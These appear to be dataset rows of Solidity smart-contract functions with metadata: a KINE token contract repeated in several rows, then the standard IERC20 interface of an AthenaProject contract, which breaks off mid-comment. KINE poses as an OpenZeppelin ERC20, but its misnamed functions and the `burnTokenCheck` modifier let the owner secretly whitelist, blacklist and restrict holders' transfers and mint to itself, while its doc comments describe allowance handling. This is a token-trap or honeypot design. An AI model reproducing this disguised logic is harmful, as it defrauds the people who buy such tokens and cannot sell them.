_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
12990,
13085
]
} | 11,738 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
13683,
13780
]
} | 11,739 |
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
94,
154
]
} | 11,740 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
237,
310
]
} | 11,741 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
534,
616
]
} | 11,742 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1f427490068a70e08a4aa12090115d60f161bc7a673b300b239fbd44285c4bce | {
"func_code_index": [
895,
983
]
} | 11,743 |
||
AthenaProject | AthenaProject.sol | 0x2c73e847448935e2ec8204d8f3fbb1ed613b7d99 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
